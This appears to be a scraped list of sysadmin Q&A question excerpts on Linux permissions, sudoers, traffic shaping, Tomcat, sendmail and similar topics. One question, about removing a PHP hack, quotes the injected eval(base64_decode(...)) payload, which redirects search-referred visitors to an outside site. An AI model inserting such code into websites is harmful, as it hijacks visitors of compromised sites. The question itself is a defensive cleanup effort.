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• Linux file permissions not being preserved

  - by yellavon

  I am deploying some custom software as root (a necessity for this situation). I set the owner/group to user1:user1 and set all the files to 644 beforehand in shell, then copy and deploy with ant. However, when files get copied over from the deployment directory, the ownership changes back to root and all the files install with 666 permissions. This seems to occur whether the file is overwritten or newly created. I believe there is a way to set an option in cp, mv commands to preserve permissions, but that would be a lot of commands to change. How can I fix this? Is there some setting I can change temporarily for root so the install always preserves the file permissions?

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• Sftp via shell - how is it possible?

  - by Tomasz Zielinski

  (Moved from StackOverflow: http://stackoverflow.com/questions/4589725/sftp-via-shell-how-it-is-possible) How is it possible for tools like http://mysecureshell.sourceforge.net/ to provide SFTP access by merely specifying them as shell by typing: usermod -s /bin/MySecureShell myuser ? I'm on Debian Lenny, with default sshd/OpenSSH. Is this e.g. a feature of SSH protocol that allows user shell to handle sftp commands? I can't wrap my head around this because usually OpenSSH needs sftp-server module (or the internal one in newer versions) - and this makes me think that sftp commands don't even hit the shell and are handled earlier or by different code path..

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• How to configure sudoers with path wildcards?

  - by C. Lee

  I need sudo for a command for any path under a particular area. Example: sudo mycommand /opt/apps/myapp/... What is the sudoers syntax to allow this command to run in any path that falls under /opt/apps/myapp? This is Solaris 10 sudo. Thank you for your reply, but I don't need wildcards for the path to the commands, but wildcards for the arguments for the commands. For example, we want to do something like... sudo mycmd /opt/userarea/area1 sudo mycmd /opt/userarea/area1/area2 sudo mycmd /opt/userarea/area1/area2/area3 So far, using wildcards for the arguments in sudoers look like this: /opt/userarea/* /opt/userarea/*/* And it seems like if we want to have N levels of directories, then we need N lines in sudoers! Is there a better way to include all N levels in one line in sudoers? Thanks.

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• how to limit upload bandwidth per user in linux?

  - by Gihan Lasita

  Can anyone provide the tc command to limit upload bandwidth per user in Debian Lenny? I found that to mark packets per user with iptables I can use the following command iptables -t mangle -A OUTPUT -p tcp -m owner --uid-owner testuser -j MARK --set-mark 500 but I have no idea how to use tc update by running following commands, i managed to limit testuser upload bandwidth to 10Mbit iptables -t mangle -N HTB_OUT iptables -t mangle -I POSTROUTING -j HTB_OUT iptables -t mangle -A HTB_OUT -j MARK --set-mark 30 iptables -t mangle -A HTB_OUT -m owner --uid-owner testuser -j MARK --set-mark 10 tc qdisc replace dev eth0 root handle 1: htb default 30 tc class replace dev eth0 parent 1: classid 1:1 htb rate 10Mbit burst 5k tc class replace dev eth0 parent 1:1 classid 1:10 htb rate 10Mbit ceil 10Mbit tc qdisc replace dev eth0 parent 1:10 handle 10: sfq perturb 10 tc filter add dev eth0 parent 1:0 prio 0 protocol ip handle 10 fw flowid 1:10 now the problem is, i do not want to limit testuser's FTP bandwidth but by running above commands FTP speed also limited to 10Mbit. Regards

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• Formatting a disk for Macintosh using Linux

  - by Ken Bloom

  I've been asked to move data from an old external hard drive to a new one, and to make the new one compatible with the Macintosh. (The old drive's USB connection has died, and I'm connecting to old the drive using a PC card that provieds an eSATA to the drive. The recipient's Macintosh doesn't have a PC card slot, so she can't access the old drive anymore. Hence, the new drive.) Naturally, I'm doing this data transfer using Linux. I've discovered that I can format the drive as HFS+ using mkfs.hfsplus from the hfsprogs package. But I need to know: do I need to do anything special with the partition table? Is there a special Macintosh partition table format that I need to format this disk to? If so, what tools can I use to get the right format for the partition table?

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• Using curly braces with a standard pc keyboard on a mac laptop

  - by raoulsson

  I have a standard PC keyboard connection to my Mac laptop. All keys work fine but the special characters that need "Alt-Gr" as accelerator keys would not work. I have a Swiss layout where the curly braces are such special keys. However I need them all the time and having to get used to a different layout is too painful (I'd rather get used to a US Layout once and for all). Does anyone have an idea how to switch this? Note: I have managed to switch the option and the command key, so that's not my problem.

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• How do I install Netatalk in Ubuntu 9.10 (tutorial)?

  - by Phobis

  I have never installed Netatalk before. I have to help someone get this up and running on a Ubuntu 9.10 server and I don't know if there is any special configuration or install steps I need to follow in Ubuntu 9.10 to get it up and running. I know in older versions of Ubuntu, specifically, special OS changes and configuration needs to be done in order to get it to work properly. Do I need to work around any of those issues in 9.10? I am doing this remotely through ssh, so I prefer instruction via command-line. Thanks!

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• Windows 7 freezing unexpectedly

  - by Thomas Deutsch

  I have a Windows 7 computer here, which is freezing between 2 times a day and 1 time every second day. I see no problem, no special drivers, no special Apps are open, no encryption or something like that. Apps usually open then are Firefox, Thunderbird, Eclipse and maybe Office. Computer is just freezing. No Reboot, no shutdown, no bluescreen and no error. User has to hardreset it. Eventlog shows me an kernel error saying it has been unexpected rebooted due to an fatal error, but no statement about what kind of error happended. Anyone an idea what it can be? Chkdisk should be ok (currently, I run it a second time).

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• understanding mount -o bind

  - by Ionut

  Few questions after the following commands: mount -o bind /new_disk/home/user/ /home/user/ mount -o bind --no-mtab /new_disk/home/user/ /home/user/ What is the difference between the two commands other than " Mount without writing in /etc/mtab. This is necessary for example when /etc is on a read-only filesystem." What is the difference between mount -o bind and mount --bind ...if there are Let's suppose i don't know there is a partition mounted using -o bind --no-mtab...where can I find if there is any mound point with bind ? The only way i can detect this is grep user /proc/mounts but in that line there is no info abut bind. Thank you.

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• Tomcat startup.sh doesn't work

  - by OMG Ponies

  I've just installed Tomcat 6.0.20 (per Jira documentation recommendation) on RedHat EL 5 Server, and attempts to use: bin] # ./startup.sh ...result in: Using CATALINA_BASE: /opt/software/jira-tomcat-6.0.20 Using CATALINA_HOME: /opt/software/jira-tomcat-6.0.20 Using CATALINA_TMPDIR: /opt/software/jira-tomcat-6.0.20/temp Using JRE_HOME: /etc/alternatives/jre Usage: catalina.sh ( commands ... ) commands: debug Start Catalina in a debugger ... version What version of tomcat are you running? I've edited the catalina.sh file to add: echo $0 echo $1 ...and I see: catalina.sh start ...etc when I use: ./catalina.sh start Why does catalina.sh not use the parameter?

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• List/remove files, with filenames containing string that's "more than a month ago"?

  - by Martin Tóth

  I store some data in files which follow this naming convention: /interesting/data/filename-YYYY-MM-DD-HH-MM How do I look for the ones with date in file name < now - 1 month and delete them? Files may have changed since they were created, so searching according to last modification date is not good. What I'm doing now, is filter-ing them in python: prefix = '/interesting/data/filename-' import commands names = commands.getoutput('ls {0}*'.format(prefix)).splitlines() from datetime import datetime, timedelta all_files = map(lambda name: { 'name': name, 'date': datetime.strptime(name, '{0}%Y-%m-%d-%H-%M'.format(prefix)) }, names) month = datetime.now() - timedelta(days = 30) to_delete = filter(lambda item: item['date'] < month, all_files) import os map(os.remove, to_delete) Is there a (oneliner) bash solution for this?

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• How do I reset the $PATH variable on Mac OS X?

  - by Neil

  I've messed up my path variable, and now some apps that I run raise errors saying Command Not Found (error 127) for commands like 'date' and 'sleep'. These commands work fine when executed directly in the shell. I'm guessing this has something to do with a malformed $PATH variable, and need to know how to reset it. I've deleted the files ~/.bashrc , ~/.bash_profile, /etc/bash.bashrc, and ~/.bashrc and ~/.profile. What other files could hold my $PATH? Is there some simpler way to reset the Path than dig into the myriad files which could hold my path? Note, this path problem is only with my user. I made a test user on my system, and the path was fine, back to normal.

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• sendmail on Ubuntu won't send from www-data user

  - by bumperbox

  I if call mail() function in PHP from webserver (running as www-data) i get an error sending email. If i call the same script from the cmdline logged in as root, then it works If i switch user to www-data and run from the cmdline i get this error message WARNING: RunAsUser for MSP ignored, check group ids (egid=33, want=107) can not chdir(/var/spool/mqueue-client/): Permission denied Program mode requires special privileges, e.g., root or TrustedUser. FAILEDWARNING: RunAsUser for MSP ignored, check group ids (egid=33, want=107) can not chdir(/var/spool/mqueue-client/): Permission denied Program mode requires special privileges, e.g., root or TrustedUser. FAILEDTest Complete$ WARNING: RunAsUser for MSP ignored, check group ids (egid=33, want=107) I am guessing i need to do something in sendmail configuration I have googled for some solutions but have ended up more confused. Can someone let me know what configuration I need to change to fix so i can send from www-data user?

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• Script to set "Hide file extensions"

  - by Ickster

  I'm tired of the multi-step process to set my preferred folder options on every server to which I log on (Mostly Win2008, but also some 2012 and Win7 here and there). I'd love to be able to script the process, but unfortunately, I can't find any commands or extensions to do so for folder options. There are several settings I'd like to change, but in particular, I'd like to set "Hide file extensions for known file types" to false. I figure that if I can do that, I'll be able to manage any additional settings on my own. Methods that work on the vanilla command line would be preferred, but if there are commands in PowerShell, I'll use that.

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• telnet - is there a maximum line limit?

  - by benc

  I am working on several servers that use HTTP for transport of commands. What I have encountered is that some of the commands I am trying to issue by hand are very long GETs, several lines, and that when I telnet from my Mac to my Solaris system, I cannot seem to cut and paste the line successfully. I get a couple bounching sounds (which I assume is a control-g - bell) and then it never pastes everything. From trying to break it up into smaller pieces, I am getting the impression that TELNET, or my bundled telnet client or server has a maximum line length that I had never bumped into. I did some googling and superusering, but did not find anything definitive.

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• cleaning up pdftotext font issues

  - by mankoff

  I'm using pdftotext to make an ASCII version of a PDF document (made with LaTeX), because collaborators prefer a simple document in MS word. The plain text version I see looks good, but upon closer inspection the f character seems to be frequently mis-converted depending on what characters follow. For example, fi and fl often seem to become one special character, which I will try to paste here: ? and ?. What is the best way to clean up the output of pdftotext? I am thinking sed might be the right tool, but am not sure how to detect these special characters.

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• Best practices to avoid Jenkins error: sudo: no tty present and no askpass program specified

  - by s g

  When running any sudo command from Jenkins I get the following error: sudo: no tty present and no askpass program specified I understand that I can solve this by adding a NOPASSWD entry to my /etc/sudoers file which will allow user jenkins to run commands without needing a password. I can add an entry like this: %jenkins ALL=(ALL)NOPASSWD:/home/vts_share/test/sudotest.sh ...but this leads to the following issue: how to avoid specifying full path in sudoers file? I can add an entry like this: %jenkins ALL=NOPASSWD: ALL ...but this allows user jenkins to avoid the password prompt for all commands, which seems a bit unsafe. I'm just curious what my options are here, and if there are any best practices I should consider.

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• How to get Bash shell history range

  - by Aniti

  How can I get/filter history entries in a specific range? I have a large history file and frequently use history | grep somecommand Now, my memory is pretty bad and I also want to see what else I did around the time I entered the command. For now I do this: get match, say 4992 somecommand, then I do history | grep 49[0-9][0-9] this is usually good enough, but I would much rather do it more precisely, that is see commands from 4972 to 5012, that is 20 commands before and 20 after. I am wondering if there is an easier way? I suspect, a custom script is in order, but perhaps someone else has done something similar before.

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• grep, xargs, sed to clean up PHP eval hack

  - by roktechie

  I'm attempting to use the commands found on http://devilsworkshop.org/tutorial/remove-evalbase64decode-malicious-code-grep-sed-commands-files-linux-server/55587/ to clean up a PHP eval based hack on a site. Sample code to match/remove <?php eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwokcWF6cGxtPWhlYWRlcnNfc2VudCgpOwppZiAoISRxYXpwbG0pewokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107CiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwppZiAoJHVhZykgewppZiAoIXN0cmlzdHIoJHVhZywiTVNJRSA3LjAiKSBhbmQgIXN0cmlzdHIoJHVhZywiTVNJRSA2LjAiKSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbS9sIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9sb29wZG93bi5sZmxpbmt1cC5jb20vIik7CmV4aXQoKTsKfQp9Cn0KfQp9")); Attempted command: sudo grep -lr --include=*.php "eval(base64_decode" /home/user/webdir | sudo xargs sed -i.bak 's/<?php eval(base64_decode[^;]*;/<?php\n/g' The sudo has been added as it is required to have permission to read/write on the dir I'm accessing. The files list properly from grep, but are not changed by sed. Any suggestions?

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• Load images in parallel - supported by browser or a feature to implement?

  - by Michael Mao

  Hi all: I am not a pro in web development and Apache server still remains a mystery to me. we've got a project which runs on LAMP, pretty much like all the commercial hosting plans. I am confused about one problem : does modern browsers support image loading in parallel? or this requires some special feature/config set up from server side? Can this be done with PHP coding or by some server-side configuration? Is a special content delivery networking needed for this? The benchmark demonstration will be the flickr website. I am too suprised to see how all image thumbnails are loaded in a short time after a search as if there were only one image to load. Sorry I cannot present any code to you... completed lost in this:(

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• Best technique for reusing a Windows system image across configurations

  - by Martin Wiboe

  We are a small company that provides solutions for ventilation systems. Part of the solution is a "controller" which communicates with the ventilation equipment. These controllers are simply Dell computers that come with our Windows 7 system image on them and sometimes some special hardware. We typically do a batch of 10 controllers at a time. We have been using Norton Ghost to apply the system image, but this process breaks because Dell changes the system configuration often, and our Windows image now does not contain the correct drivers. This is especially a problem when they change the RAID controller. To improve this, I see 2 options: use some kind of virtualization and install a hypervisor on each PC. This would solve the driver problem, but probably cause trouble with our special hardware. use some method of adding the proper drivers to our Windows image in offline mode. I haven't got much experience in either of these approaches. How would you solve our problem?

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• creating cookbooks and roles with out chef-server

  - by Josh Nankin

  I want to run: knife role create blah I use chef-solo and don't need knife to connect to a server. I just would like to run these commands for helping me prepopulate the files quickly. Everytime I run of these commands it attempts to connect to a server. This does not happen for knife cookbook create blah Double-ewe tee eff. Update: I've noticed this is the case for databags and environments as well. I've read elsewhere that knife is primarily intended for use with the chef-server API, but it seems ridiculous that something like this can't be done. It just needs to save the darn file.

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• How to quickly save what is currently shown in cmd.exe to a file

  - by Zeiga

  I am asking if there is a quick way/command to save the current standard output from cmd.exe or powershell to a file. For example, I have run a bunch of commands in cmd.exe which generating like hundreds of lines of standard output. Ideally, I am looking for a single command to do "select all" and save to a file automatically. Note: I've read this. But I don't want to change my original commands, so "" or "" redirection cannot be used in this scenario. Thanks.

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• y most linux servers are in centos

  - by Naveen

  i am using ubuntu for more than 2 years i have checked more web server all are using cent is there any special reason....

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• Why are most linux servers running CentOS?

  - by Naveen

  i am using ubuntu for more than 2 years i have checked more web server all are using cent is there any special reason....

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